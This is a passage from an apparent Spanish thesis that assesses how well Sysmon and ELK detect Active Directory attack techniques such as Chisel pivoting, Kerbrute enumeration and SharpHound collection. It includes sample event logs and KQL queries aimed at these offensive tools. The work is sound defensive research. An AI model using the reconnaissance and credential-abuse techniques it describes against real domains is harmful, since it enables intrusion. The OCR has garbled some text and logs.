avanzadas de ejecucién y determinados controles de seguridad Windows.

Esta decisidon permite estudiar de forma aislada las evidencias generadas por cada técnica pero
también implica que el comportamiento observado no representa completamente un entorno
real donde muchas herramientas ofensivas podrian haber sido bloqueadas antes incluso de
generar determinados eventos.



Ademas, la ausencia de mecanismos preventivos favorece que algunas técnicas generen una
trazabilidad mucho mas limpia y observable de lo habitual.

Ausencia de soluciones EDR

El laboratorio no incorpora soluciones EDR usando Uunicamente logs nativos Windows, Sysmon
y centralizacion en ELK. Esto supone una limitacién importante ya que muchas plataformas
EDR modernas incorporan capacidades avanzadas:

e Correlacion automatica.

e Analisis de comportamiento.

e Deteccién basada en anomalias.

e Trazabilidad de procesos.

e Deteccidn de técnicas MITRE ATT&CK.

e Analisis de memoriay telemetria avanzada.

Como consecuencia, algunas técnicas que en este laboratorio presentan baja detectabilidad
podrian resultar mas visibles en entornos EDR correctamente configurados.

Por otro lado, esta ausencia también permite analizar con mayor claridad las limitaciones
reales de los mecanismos de logging tradicionales en AD sin depender de herramientas
avanzadas de terceros.

Dependencia de la configuracion de auditoria

La visibilidad obtenida durante el analisis depende directamente de la configuracién de
auditoria aplicada sobre el dominio y los sistemas Windows.

Muchos de los eventos observados durante el laboratorio Unicamente estan disponibles
cuando determinadas politicas de auditoria avanzada se encuentran habilitadas. En caso
contrario, técnicas relevantes como DCSync, abuso de Kerberos o determinados accesos
privilegiados pueden generar una visibilidad significativamente menor.

Esto implica que la detectabilidad observada no depende solo de la técnica usada, sino
también del nivel de auditoria previamente desplegado en el entorno.

Correlacion limitada y analisis manual

Aunque ELK permite centralizar y consultar eventos de multiples fuentes, gran parte de la
correlacion realizada se realizé6 manualmente mediante buisquedas KQL y anélisis temporal.

No se implementd un sistema avanzado de reglas automatizadas ni motores complejos de
correlacidén entre eventos por lo que algunas técnicas requieren interpretacion manual para
poder ser identificadas.

Esto refleja una situacion habitual en muchos entornos reales donde la existencia de logs no
garantiza necesariamente una capacidad de deteccidn efectiva sin reglas adecuadas o personal
especializado que interprete las evidencias generadas.



Limitaciones propias de los logs de Windows

Los mecanismos de loggins nativos de Windows presentan limitaciones importantes desde el
punto de vista ofensivo. Muchas acciones que se han realizado generaron eventos genéricos o
ambiguos que resultan dificiles de distinguir de actividad administrativa legitima.

Técnicas como el movimiento lateral mediante SMB, reutilizacidon de credenciales o uso de
tickets Kerberos validos pueden integrarse dentro del comportamiento normal del dominio
dificultando enormemente su identificacion sin un mayor contexto. Esto provoca que la
detectabilidad no dependa Unicamente de la existencia de eventos sino de la capacidad de
contextualizar correctamente el comportamiento.

En consecuencia, uno de los principales hallazgos del laboratorio es que la monitorizacion
basada unicamente en eventos aislados resulta insuficiente frente a técnicas avanzadas que
usan funcionalidades legitimas del sistema.

Limitaciones temporales y de persistencia

El laboratorio se centré principalmente en la ejecucion controlada de técnicas ofensivasy en el
analisis de los eventos generados durante cada fase. Sin embargo, no se evaluaron escenarios
prolongados de persistencia a largo plazo ni ataques distribuidos a lo largo de periodos
extensos de tiempo.

En entornos reales, muchos atacantes operan de forma gradualyy silenciosa durante semanas o
meses reduciendo la generacién de eventos sospechosos y dificultando aun mas la deteccion
basada en correlaciéon temporal. Por lo tanto, los resultados obtenidos representan
principalmente visibilidad de técnicas ejecutadas en ventanas temporales cortas y controladas.

En conjunto todas estas limitaciones reflejan que la detectabilidad observada durante el
laboratorio debe interpretarse como una aproximacion practica al comportamiento real de los
sistemas de monitorizacién pero no como una representacion absoluta de todos los escenarios
posibles. La capacidad de deteccién, por tanto, depende en gran medida del contexto
operativo, del nivel de auditoria desplegado y la madurez de las herramientas defensivas
usadas.

Tabla global de detectabilidad

Se elaboré una tabla global de detectabilidad en la que se relacionan las fases ofensivas, las
técnicas empleadas, identificadores MITRE asociados y las principales evidencias observadas
durante el analisis.

Esta tabla es el nlcleo principal del analisis defensivo del trabajo ya que permite estudiar de
forma estructurada que técnicas generan eventos claramente identificables, cuales requieren
correlaciéon avanzaday cuales presentan una visibilidad reducida incluso en un entorno de
monitorizacién mediante ELK.

Ademas de los eventos generados, también se incluyen las principales fuentes de datos
implicadas y observaciones relacionadas con la calidad de la deteccidn, el ruido generado o las
limitaciones observadas durante el analisis.

Uno de los aspectos mas relevantes observados durante la elaboracion de esta tabla es que la
detectabilidad no depende Unicamente de la técnica usada sino también del contexto en el que
se ejecuta, del nivel de auditoria configurado y de la capacidad de correlacién disponible en el
SIEM. Hay técnicas que generan eventos muy claros en el controlador de dominio y pueden



resultar dificiles de interpretar sin contexto adicional, mientras que otras que apenas dejan
evidencias visibles pese a comprometer completamente el dominio.
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Tabla 36. Tabla global de detectabilidad de técnicas ofensivas utilizadas en el entorno Active Directory monitorizado

A partir de esta tabla pueden extraerse varias conclusiones relevantes. En primer lugar, las
técnicas relacionadas con abuso Kerberos como Kerberoasting o DCSync generan eventos muy
utiles desde el punto de vista defensivo debido a la existencia de indicadores concretos 'y
facilmente correlacionables en los Security Logs del DC.

Por el contrario, técnicas basadas en reutilizacién de credenciales validas, acceso SMB o uso
de tickets falsificados presentan una detectabilidad considerablemente menor ya que gran
parte de su actividad se integra dentro del comportamiento legitimo habitual del dominio.

También se observa una fuerte dependencia de Sysmon para detectar técnicas relacionadas
con ejecucién de procesos, LOLBins, transferencia de archivos o explotacién local. Sin Sysmon
muchas de estas acciones apenas dejarian trazabilidad suficiente para ser analizadas.

Finalmente, la tabla pone de manifiesto una de las principales ideas del trabajo. La existencia
de logs no garantiza la capacidad de deteccion, en numerosos casos, la identificacion real de
actividad maliciosa depende de la correlacidon entre multiples eventos del contexto operativo y
del conocimiento previo del comportamiento habitual del entorno.



Analisis de detectabilidad por fases

Una vez definida la metodologia de evaluacién y establecida la tabla global de detectabilidad,
en este apartado se realiza un anélisis detallado de cada una de las fases ofensivas ejecutadas
durante el laboratorio.

El objetivo es estudiar que evidencias generd cada técnica, que capacidad real de deteccion
ofrecieron los mecanismos de monitorizacion desplegados y cuales fueron las principales
limitaciones observadas durante el analisis.

A diferencia del capitulo ofensivo centrado en la ejecucion de ataques, esta seccion se enfoca
desde una perspectiva defensiva analizando la calidad de los eventos generados, la dificultad
de interpretaciény el nivel de correlacion necesario para identificar comportamientos
maliciosos dentro de AD.

Uno de los aspectos mas relevantes observados durante el laboratorio es que muchas técnicas
generan eventos validos dentro del sistema pero estos no siempre resultan facilmente
distinguibles de actividad legitima. En consecuencia, la detectabilidad no depende de la
existencia de logs sino de la capacidad de contextualizacién de la informacion disponible y
correlacionar multiples evidencias entre distintos sistemas.

Fase 1-Reconocimiento de la red interna

La primera fase del ataque estuvo orientada al reconocimiento interno del dominio ADy a la
obtencion de la informacion sobre infraestructura desplegada. Durante esta etapa se realizaron
técnicas de pivoting, escaneo de red, enumeracion Kerberos y recoleccion de informacion
estructural del dominio mediante herramientas como Chisel, Nmap, Kerbrute y BloodHound.

Desde el punto de vista defensivo, esta fase es de especial relevancia debido a que gran parte
de las acciones ejecutadas usan protocolos legitimos del entorno corporativo como LDAP, SMB
o Kerberos dificultando actividad maliciosa de comportamiento administrativo normal.

Pivoting mediante Chisel SOCKS

Esta primera técnica usada consistié en la creacién de un tunel SOCKS mediante Chisel para
redirigir trafico hacia la red interna comprometida desde el host atacante. Esta actividad se
corresponde con la técnica MITRE T1090.001 - Internal Proxy, una técnica frecuentemente
usada para realizar pivoting y ocultar el origen real de las conexiones durante fases de
postexplotacion.

Desde el punto de vista defensivo, la visibilidad obtenida sobre esta actividad fue reducida. Los
mecanismos nativos de auditoria de Windows apenas generaron evidencias relevantes sobre el
tunel establecido por lo que la principal fuente de telemetria fue Sysmon.

Durante el analisis realizado en Kibana se identificaron varios eventos asociados al binario
chisel.exe:

e Sysmon EventlID 5: Terminacién de proceso (Process terminated)

Se adjunta un log de muestra:

{"message":"Process terminated: RuleName: - UtcTime: 2025-11-24 14:10:41.622 ProcessGuid:
{28CFCBDB-47E9-6924-5803-000000000C00} Processld: 11540 Image:
C:\\Tools\\Chisel\\chisel.exe User:
CLIENT2\\david","winlog.event_data.Image":"C:\\Tools\\Chisel\\chisel.exe","@metadata.beat":"wi



nlogbeat","@metadata.type":"_doc",'@metadata.version":"9.2.0","@timestamp":"2025-11-
24T15:10:41.6227""agent.ephemeral_id":"2c4476db-c773-4ed3-b074-
a3e0b74e1a64""agent.id":"cf1afed44-e1e1-47c1-a7b6-
e8c57fdabefb","agent.name":"CLIENT2","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.vers
ion":"8.0.0""event.action":"Process terminated (rule:
ProcessTerminate)","event.code":"5","event.created":"2025-11-
24T15:10:43.008Z""event.kind":"event","event.provider":"Microsoft-Windows-
Sysmon","log.level":"information","source_type":"logstash","timestamp":"2025-11-
24T15:10:41.622Z7""winlog.channel":"Microsoft-Windows-
Sysmon/Operational","winlog.computer_name":"CLIENT2.lab.local","winlog.event_data.ProcessG
uid":"{28CFCBDB-47E9-6924-5803-
000000000C00}","winlog.event_data.Processld":"11540","winlog.event_data.RuleName":"-
""winlog.event_data.User":"CLIENT2\\david","winlog.event_data.UtcTime":"2025-11-24
14:10:41.622""winlog.event_id":"5","winlog.opcode":"Info","winlog.process.pid":"3488"'winlog.pr
ocess.thread.id":"4508","winlog.provider_guid":"{5770385F-C22A-43E0-BF4C-
06F5698FFBD9}",'winlog.provider_name":"Microsoft-Windows-
Sysmon","winlog.record_id":"1979""winlog.task":"Process terminated (rule:
ProcessTerminate)","winlog.user.domain":"NT AUTHORITY","winlog.user.identifier":"S-1-5-

18""winlog.user.name":"SYSTEM","winlog.user.type":"User","winlog.version":"3""_id":"j_oOtpoB11F
bndj0Bj5F","_ignored":"-""_index":"vector-2025.11.24""_score":17.178}

El registro generado permitio obtener una trazabilidad parcial sobre la ejecucién de la
herramienta ofensiva identificando:

e Elbinario usado en el pivoting.

e Larutacompleta desde la que fue ejecutado.

e Elusuario asociado a la cuenta comprometida.
e Elendpoint afectado dentro del dominio.

La consulta KQL usada para localizar esta actividad relacionada con Chisel fue:

event.code:5 AND winlog.event_data.Image: *chisel*
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Ilustracion 45. Eventos generados por la ejecucion de Chisel en CLIENT2 mediante la cuenta LAB\attacker

En esta imagen podemos ver una volumetria de 8 eventos de chisel.exe generados desde
CLIENT2y por el usuario LAB\attacker.

La capacidad de deteccién depende en gran medida de:

e Lamonitorizacion avanzada proporcionada por Sysmon.

e Reglas especificar orientadas a herramientas de tunneling o pivoting.

e Correlacion adicional con conexiones andémalas.

e Contextualizacion temporal respecto a otras actividades ofensivas del entorno.

Adicionalmente pudimos ver que herramientas como Chisel pueden ser facilmente
renombradas o ejecutadas desde rutas menos sospechosas reduciendo significativamente la
efectividad de reglas basadas exclusivamente en nombres de binarios.

Desde la perspectiva defensiva, esta limitacion resulta especialmente relevante ya que el
comportamiento registrado comparte similitudes con herramientas legitimas de administracion
remotay software corporativo que usan conexiones persistentes o mecanismos de proxy
internos. Como consecuencia de esto, diferenciar actividad ofensiva de comportamiento
administrativo legitimo Unicamente a partir de los eventos es complejo sin anadir correlacion,
hashesy contextualizacién.

Por ello, la detectabilidad de esta técnica se considera baja siendo actividad altamente
dependiente de telemetria avanzaday de capacidades de correlaciéon dentro del SIEM para
poder ser identificada correctamente dentro del AD.

Escaneo de red y descubrimiento de servicios

Una vez establecido el pivoting hacia la red interna se realizaron tareas de descubrimiento de
hosts y enumeracion de servicios accesibles dentro del dominio. Esta actividad corresponde
con la técnica MITRE T1046 — Network Service Discovery.

Durante esta fase se ejecutaron conexiones hacia distintos servicios internos del entorno Active
Directory con el objetivo de identificar recursos accesibles, puertos expuestos y posibles
vectores posteriores de enumeracion y movimiento lateral. A diferencia de técnicas mas
avanzadas ejecutadas en fases posteriores, el reconocimiento inicial genero evidencias que
eran poco concluyentes y altamente dependientes de contexto.

La principal fuente de evidencias identificada fue eventos de seguridad:

e EventlD 5156: The Windows Filtering Plataform has permitted a connection.



Se adjunta log de muestra:

{"message":"The Windows Filtering Platform has permitted a connection. Application Information:
Process ID: 776 Application Name: \\device\\harddiskvolume3\\windows\\system32\\lsass.exe
Network Information: Direction: Inbound Source Address: 192.168.109.12 Source Port: 55444
Destination Address: 192.168.109.10 Destination Port: 389 Protocol: 6 Interface Index: 6 Filter
Information: Filter Origin: Unknown Filter Run-Time ID: 0 Layer Name: Receive/Accept Layer Run-
Time ID: 44 Remote User ID: S-1-0-0 Remote Machine ID: S-1-0-
0""winlog.event_data.DestPort.keyword":"389","winlog.event_data.SourceAddress":"192.168.109
12""@metadata.beat":"winlogbeat","@metadata.type":"_doc","@metadata.version":"9.2.0""@tim
estamp":"2025-11-24T716:21:02.5357""agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01""agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version
":"8.0.0""event.action":"Filtering Platform
Connection""event.code":"5156","event.created":"2025-11-
24T16:21:03.909Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-
Auditing","log.level":"information","source_type":"logstash","timestamp":"2025-11-
24T716:21:02.535Z","winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.Application":"\\device\\harddiskvolume3\\windows\\system32\\lsass.exe","winlog.ev
ent_data.DestAddress":"192.168.109.10""winlog.event_data.DestPort":"389","winlog.event_data.
Direction":"Inbound","winlog.event_data.FilterOrigin":"Unknown","winlog.event_data.FilterRTID":"
0""'winlog.event_data.Interfacelndex":"6","winlog.event_data.LayerName":"Receive/Accept",'winl
og.event_data.LayerRTID":"44""winlog.event_data.ProcesslID":"776","winlog.event_data.Protocol"
:"6""winlog.event_data.RemoteMachinelD":"S-1-0-0","winlog.event_data.RemoteUserID":"S-1-0-
0""'winlog.event_data.SourcePort":"55444""winlog.event_id":"5156","winlog.keywords":"Audit
Success","winlog.opcode":"Info","winlog.process.pid":"4""winlog.process.thread.id":"5720","winlo
g.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1509951","winlog.task":"Filtering Platform
Connection","'winlog.version":"1""_id":"J5d0tpoBScXz9zJbZqil","_ignored":"message.keyword","_in

dex":"vector-2025.11.24""_score":9.688}

Estos registros permitieron identificar conexiones entrantes hacia servicios internos expuestos
en DCO1, CLIENT1, CLIENTS... relacionados con servicios como SMB, LDAP, Kerberos, WinRM o
RDP.

La KQL usada para localizar conexiones asociadas a puertos comunmente usados durante la
fase de reconocimiento fue:

winlog.event_data.DestPort.keyword :(20 OR 21 OR 22 OR 23 OR 25 OR 53
OR670OR680OR690R800OR880OR1100R1230R1350R 137 OR138 OR



139 OR 143 OR 161 OR 162 OR 389 OR 443 OR 445 OR 3389 OR 5985 OR
5986) and "192.168.109.12"
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Ilustracion 46. Eventos de trafico permitido (Event ID 5156) generados durante el escaneo de red desde la IP
192.168.109.12 hacia servicios internos del dominio

En estaimagen, se muestra una volumetria total de 4.244 eventos de trafico permitido hacia los
hosts generando eventos desde la IP “192.168.109.12” con EventID 5156 a través de los puertos
mas comunes, en este caso los 389, y sensibles en escaneos de red.

El analisis temporal de los eventos permitié observar multiples conexiones hacia servicios
criticos del dominio desde sistemas internos, pero uno de los principales problemas
detectados durante esta fase es que los eventos 5156 Unicamente reflejan conexiones
permitidas por el SO sin aportar contexto suficiente sobre la intencién real de la actividad.

Desde la perspectiva defensiva, esta limitacion resulta relevante en entornos AD debido a que
gran parte del trafico observado comparte caracteristicas similares. Como consecuencia,
diferenciar un escaneo ofensivo de comportamiento legitimo Unicamente a partir de estos
eventos resulta complejo sin mecanismos de correlacién, analisis de frecuencia o telemetria
avanzada de red.

Ademas, los registros obtenidos no permiten identificar directamente herramientas concretas
de reconocimiento ni determinar de forma precisa si las conexiones observadas forman parte
de actividad maliciosa o de procesos normales del entorno.

Por esto, la detectabilidad de esta técnica se considera media/baja ya que, aunque existen
evidencias parciales relacionadas con conexiones internas hacia servicios critico, la visibilidad
resulta insuficiente para atribuir de manera fiable la actividad a un proceso claro de
reconocimiento ofensivo.

Enumeracidn de usuarios mediante Kerbrute

Tras la fase inicial de reconocimiento de servicios internos se realizé enumeracién de usuarios
validos del dominio mediante Kerbrute usando solicitudes Kerberos contra el controlador de
dominio. Esta actividad se corresponde con la técnica MITRE t1087.002 — Domain Account
Discovery, y constituye una de las técnicas mas habituales para validas cuentas existentes
dentro de entornos AD sin necesidad de autenticarse.



A diferencia de otras técnicas de reconocimiento ejecutadas previamente, la enumeracién
mediante Kerberos genero evidencias mucho mas visibles sobre el controlador de dominio
DCO01, principalmente a través de eventos relacionados con el servicio de autenticacion
Kerberos.

Los principales eventos fueron los siguientes y se adjunta un log para cada uno:

EventID 4771: Kerberos pre-authentication failed.

Se adjunta log de muestra:

{"event.code":"4771""winlog.event_data.lpAddress":"::ffff:192.168.109.12""@metadata.beat":"wi
nlogbeat""@metadata.type":"_doc",'@metadata.version":"9.2.0","@timestamp":"2025-11-
24T17:05:53.586Z","agent.ephemeral_id":"9ab6c6b6-12bf-4aed-ab94-
591f6855499d","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DC01","agent.type":"winlogbeat","agent.version":"9.2.0""ecs.version
":"8.0.0""event.action":"Kerberos Authentication Service","event.created":"2025-11-
24T17:05:53.867Z""event.kind":"event","event.outcome":"failure","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"Kerberos pre-authentication
failed. Account Information: Security ID: S-1-5-21-2625116736-1513678085-1295315389-1125
Account Name: attacker Service Information: Service Name: krbtgt/LAB Network Information:
Client Address: ::ffff:192.168.109.12 Client Port: 54299 Additional Information: Ticket Options:
0x40810010 Failure Code: 0x18 Pre-Authentication Type: 2 Certificate Information: Certificate
Issuer Name: Certificate Serial Number: Certificate Thumbprint: Certificate information is only
provided if a certificate was used for pre-authentication. Pre-authentication types, ticket options
and failure codes are defined in RFC 4120. If the ticket was malformed or damaged during transit
and could not be decrypted, then many fields in this event might not be
present."'source_type":"logstash","timestamp":"2025-11-
24T717:05:53.586Z","winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local","winlog
.event_data.lpPort":"54299""winlog.event_data.PreAuthType":"2""winlog.event_data.ServiceNam
e":"krbtgt/LAB","'winlog.event_data.Status":"0x18","winlog.event_data.TargetSid":"S-1-5-21-
2625116736-1513678085-1295315389-
1125""winlog.event_data.TargetUserName":"attacker","winlog.event_data.TicketOptions":"0x4081
0010""winlog.event_id":"4771","winlog.keywords":"Audit
Failure","'winlog.opcode":"Info","winlog.process.pid":"776","winlog.process.thread.id":"3380","winl
og.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"1513685","winlog.task":"Kerberos Authentication
Service","_id":"AZedtpoBScXz9zJbV-BF","_ignored":"message.keyword","_index":"vector-

2025.11.24""_score":13.437}

El evento anterior muestra un fallo de pre-authentication Kerberos procedente del sistema
192.168.109.12 contra la cuenta attacker. El cédigo de error 0x18 indica que las credenciales
son incorrectas, lo cual es caracteristico durante procesos de enumeracién o password
spraying en AD.

EventID 4768: A Kerberos authentication ticket TGT was requested.

Se adjunta log de muestra:

{"event.code":"4768""winlog.event_data.lpAddress":"::ffff:192.168.109.12""@metadata.beat":"wi
nlogbeat","@metadata.type":"_doc",'@metadata.version":"9.2.0","@timestamp":"2025-11-
03T13:48:16.039Z7""agent.ephemeral_id":"396ae2e7-a2f9-4936-b902-



b65aede37afe","agent.id":"957f330b-4ef3-4796-ac55-
17c5f2a4872f""agent.name":"DCO01","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.version
":"8.0.0""event.action":"Kerberos Authentication Service","event.created":"2025-11-
03T23:03:43.869Z""event.kind":"event","event.outcome":"success","event.provider":"Microsoft-
Windows-Security-Auditing","log.level":"information","message":"A Kerberos authentication ticket
(TGT) was requested. Account Information: Account Name: CLIENT2$ Supplied Realm Name:
LAB.LOCAL User ID: S-1-5-21-2625116736-1513678085-1295315389-1115 Service Information:
Service Name: krbtgt Service ID: S-1-5-21-2625116736-1513678085-1295315389-502 Network
Information: Client Address: ::ffff:192.168.109.12 Client Port: 49677 Additional Information:
Ticket Options: 0x40810010 Result Code: 0x0 Ticket Encryption Type: 0x12 Pre-Authentication
Type: 2 Certificate Information: Certificate Issuer Name: Certificate Serial Number: Certificate
Thumbprint: Certificate information is only provided if a certificate was used for pre-
authentication. Pre-authentication types, ticket options, encryption types and result codes are
defined in RFC 4120.""'source_type":"logstash","timestamp":"2025-11-
03T13:48:16.039Z""winlog.channel":"Security","winlog.computer_name":"DCO01.lab.local",'winlog
.event_data.lpPort":"49677","winlog.event_data.PreAuthType":"2""winlog.event_data.ServiceNam
e":"krbtgt","winlog.event_data.ServiceSid":"S-1-5-21-2625116736-1513678085-1295315389-
502""winlog.event_data.Status":"0x0","winlog.event_data.TargetDomainName":"LAB.LOCAL","winl
og.event_data.TargetSid":"S-1-5-21-2625116736-1513678085-1295315389-
1115""winlog.event_data.TargetUserName":"CLIENT2$""winlog.event_data.TicketEncryptionType
:"0x12""winlog.event_data.TicketOptions":"0x40810010","winlog.event_id":"4768","winlog.keywor
ds":"Audit
Success","winlog.opcode":"Info","'winlog.process.pid":"792""winlog.process.thread.id":"5692","wi
nlog.provider_guid":"{54849625-5478-4994-A5BA-
3E3B0328C30D}","winlog.provider_name":"Microsoft-Windows-Security-
Auditing","winlog.record_id":"304669","winlog.task":"Kerberos Authentication
Service","_id":"vsO_S50ByvXed4XVgXqf0","_ignored":"message.keyword","_index":"vector-
2025.11.03""_score":10.852}

Este registro evidencia solicitudes Kerberos dirigidas al servicio KRBTGT del dominio lab. local
desde el mismo sistema origen involucrado en la actividad de enumeracion.

La consulta KQL usada para localizar eventos relacionados con Kerberos fue:

event.code:(4768 OR 4771) AND
winlog.event_data.lpAddress:"192.168.109.12"




Ilustracion 47. Eventos Kerberos (Event ID 4768 y 4771) generados durante la enumeracion de usuarios mediante
Kerbrute desde la IP 192.168.109.12

En estaimagen se muestra un total de 49 eventos generados desde la IP 192.168.109.12 con los
EventlD 4760y 4771 que coinciden con actividad de enumeracion Kerberos y el uso de Kerbrute.

Uno de los aspectos mas relevantes observados durante esta fase, es que Kerberos
proporciona una trazabilidad significativamente mayor a otras técnicas de reconocimiento
interno. La generacion repetitiva de solicitudes de autenticacién y fallos de preautenticacion
producen patrones facilmente observables sobre el controlador de dominio, especialmente
cuando multiples cuentas son consultadas desde una misma direccién IP en intervalos de
tiempo reducidos.

Sin embargo, el analisis mostro ciertas limitaciones desde el punto de vista defensivo. Los
eventos 4768y 4771 forman parte del funcionamiento normal de AD y pueden generar de forma
legitima debido a:

e Errores de autenticacion de usuarios.

e Contrasefas caducadas.

e Sincronizacién incorrecta de credenciales.

e Servicios automatizados.

e Problemas normales de conectividad Kerberos.

Como consecuencia de esto, la deteccion efectiva de Kerbrute no depende Unicamente de los
eventos registrados, sino de la capacidad de correlacionar la frecuencia de solicitudes,
volumen de errores, direcciones IP origen, cuentas objetivo y comportamiento temporal
asociado.

Determinadas técnicas ofensivas generan eventos claramente visibles dentro del dominio, pero
continuan requiriendo analisis contextual y correlacién avanzada para poder diferenciar
actividad maliciosa de comportamiento legitimo.

Por ello, la detectabilidad de esta técnica se considera alta ya que los eventos generados sobre
el DC proporcionan evidencias consistentes y relativamente faciles de identificar.

Enumeracidn Active Directory Mediate BloodHound y SharpHound

Tras la validacion de usuarios y reconocimiento inicial del dominio, se realizé una recoleccion
estructurada de informacion AD mediante SharpHound y BloodHound con el objetivo de
identificar relaciones entre usuarios, grupos, permisos delegados, SPNsy posibles rutas de
escalada de privilegios dentro del entorno.

Esta actividad corresponde a las técnicas MITRE:



T1087.002 - Domain Account Discovery
T1069.002 - Domain Groups Discovery
T1482 - Domain Trust Discovery

A diferencia de otras fases de reconocimiento basadas Unicamente en trafico red, la ejecucién
de SharpHound genero evidencias mucho mas identificables sobre el endpoint comprometido
gracias a la telemetria proporcionada por Sysmon.

El principal evento observado fue:

Sysmon EventlID 5: Process terminated

Se adjunta log de muestra:

{"message":"Process terminated: RuleName: - UtcTime: 2025-11-24 15:18:05.785 ProcessGuid:
{28CFCBDB-76FD-6924-3E06-000000000C00} Processld: 600 Image:
C:\\Tools\\Sharphound\\SharpHound.exe User:
LAB\\attacker","winlog.event_data.lmage":"C:\\Tools\\Sharphound\\SharpHound.exe","@metadat
a.beat":"winlogbeat","@metadata.type":"_doc","@metadata.version":"9.2.0","@timestamp":"2025-
11-24T16:18:05.786Z","agent.ephemeral_id":"2c4476db-c773-4ed3-b074-
al3e0b74e1a64""agent.id":"cf1afe44-e1e1-47c1-a7b6-
e8c57fdabefb","agent.name":"CLIENT2","agent.type":"winlogbeat","agent.version":"9.2.0","ecs.vers
ion":"8.0.0""event.action":"Process terminated (rule:
ProcessTerminate)","event.code":"5","event.created":"2025-11-
24T716:18:07.231Z""event.kind":"event","event.provider":"Microsoft-Windows-
Sysmon',"log.level":"information","source_type":"logstash","timestamp":"2025-11-
24T716:18:05.786Z","winlog.channel":"Microsoft-Windows-
Sysmon/Operational","winlog.computer_name":"CLIENT2.lab.local","winlog.event_data.ProcessG
uid":"{28CFCBDB-76FD-6924-3E06-
000000000C00}","winlog.event_data.Processld":"600""winlog.event_data.RuleName":"-
""winlog.event_data.User":"LAB\\attacker","winlog.event_data.UtcTime":"2025-11-24
15:18:05.785""winlog.event_id":"5""winlog.opcode":"Info","winlog.process.pid":"3488","'winlog.pr
ocess.thread.id":"4508","winlog.provider_guid":"{5770385F-C22A-43E0-BF4C-
06F5698FFBD9}","'winlog.provider_name":"Microsoft-Windows-
Sysmon","winlog.record_id":"2498""winlog.task":"Process terminated (rule:
ProcessTerminate)","winlog.user.domain":"NT AUTHORITY""winlog.user.identifier":"S-1-5-

18""winlog.user.name":"SYSTEM","winlog.user.type":"User","winlog.version":"3""_id":"BJdxtpoBSc
Xz9zJbmKY_""_ignored":"-","_index":"vector-2025.11.24""_score":12.248}

— 0

El evento anterior evidencia la ejecucion de SharpHound.exe sobre el sistema CLIENT2 usando
la cuenta LAB\attacker. La informacion registrada permitio identificar:

El binario usado durante la enumeracion.
Ruta exacta desde la que fue ejecutado.
Usuarios asociados a la actividad.
Endpoint comprometido.

La consulta KQL usada para localizar esta actividad relacionada fue:

event.code:5 AND winlog.event_data.lmage: *SharpHound*
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Ilustracion 48. Eventos generados por la ejecucion de SharpHound en CLIENT2 para la recoleccidn de informacion
del dominio Active Directory

Esta imagen muestra un total de 17 eventos en los que se termind el proceso SharpHouns.exe
ejecutado desde la ruta de C:\Tools en el host CLIENT2.

Desde el punto de vista defensivo, uno de los aspectos mas relevantes observados es que la
visibilidad obtenida no proviene directamente de la actividad LDAP generada por BloodHound
sino de la ejecucion del binario sobre el endpoint.

Esto resulta muy util ya que las consultas LDAP realizadas por SharpHound usan mecanismos
totalmente legitimos de AD compartiendo caracteristicas idénticas con herramientas
administrativas y procesos normales dificiles de considerar como maliciosos de forma aislada.

En este escenario, Sysmon proporciono la principal capacidad de trazabilidad al permitir
identificar la ejecucion de herramientas defensivas sobre el host comprometido. Sin embargo,
incluso en presencia de este tipo de eventos, la deteccién contintua presentando las siguientes
limitaciones:

e Elbinario puede ser renombrado facilmente.

e Laejecucion puede realizarse en rutas menos sospechosas.

e Herramientas similares pueden usar nombres legitimos.

e Laactividad LDAP asociada continla siendo altamente ambigua.

Este comportamiento manifiesta que unas muchas técnicas orientadas al reconocimiento AD
se apoyan en funcionalidades legitimas del dominio y Unicamente resultan identificables
cuando existe correlacién entre ejecucidn de procesos, contexto temporal y actividad posterior
observada sobre otros sistemas.

Por ello, la detectabilidad de esta técnica se considera media ya que, aunque Sysmon
proporciona evidencias relativamente claras sobre la ejecucion SharpHound, la actividad LDAP
subyacente continua siendo dificil de diferenciar de comportamiento administrativo legitimo.

Conclusiones de detectabilidad de la fase

La fase de reconocimiento evidencio que muchas de las técnicas iniciales usadas contra
entornos AD generan una visibilidad limitada y altamente contextual dentro de los mecanismos
tradicionales de monitorizacion. Actividades como el descubrimiento de servicios internos o las



consultas LDAP produjeron eventos ambiguos y dificiles de diferencias de funcionamiento
legitimo del dominio, sobre todo al usar protocolos legitimos como SMB, LDAP o Kerberos.

Sin embargo, determinadas técnicas como la enumeracién Kerbrute si generaron patrones mas
visibles sobre el controlador de dominio a través de eventos Kerberos 4768 y 4771 permitiendo
identificar comportamientos andmalos relacionados con autenticaciones repetitivas y fallos de
preautenticacion.

Ademas, el analisis mostro la importancia de Sysmon dentro de la capacidad de deteccion del
entorno ya que herramientas como Chisel o SharpHound apenas habrian generado eventos
usando unicamente los logs nativos de Windows.

En conjunto esta fase demuestra que las etapas iniciales de reconocimiento pueden pasar
parcialmente desapercibidas incluso en entornos monitorizados con ELK, especialmente
cuando el atacante usa funcionalidades legitimas del propio dominio y evita generar actividad
claramente andmala desde el punto de vista del SO.

Fase 2- Acceso a recursos y abuso de credenciales

Tras completar la fase inicial de reconocimiento y enumeracion del dominio, el siguiente
objetivo consistié en acceder a recursos compartidos internos con el propdsito de localizar
informacidn sensible y obtener credenciales reutilizables dentro del entorno AD.

Durante esta fase se realizaron accesos SMB contra distintos sistemas del dominio,
identificaciéon de shares accesibles, busqueda de ficheros con informacién sensible y ataques
de password spraying orientados a comprometer cuentas validas dentro de la infraestructura.

Desde un punto de vista defensivo, esta fase resulta muy importante debida a que gran parte de
las acciones ejecutadas usan mecanismos completamente legitimos del entorno Windows,
especialmente SMB y autenticaciones NTLM/Kerberos. Como consecuencia, gran parte de la
actividad observada comparte similitudes con accesos normales a recursos dificultando la
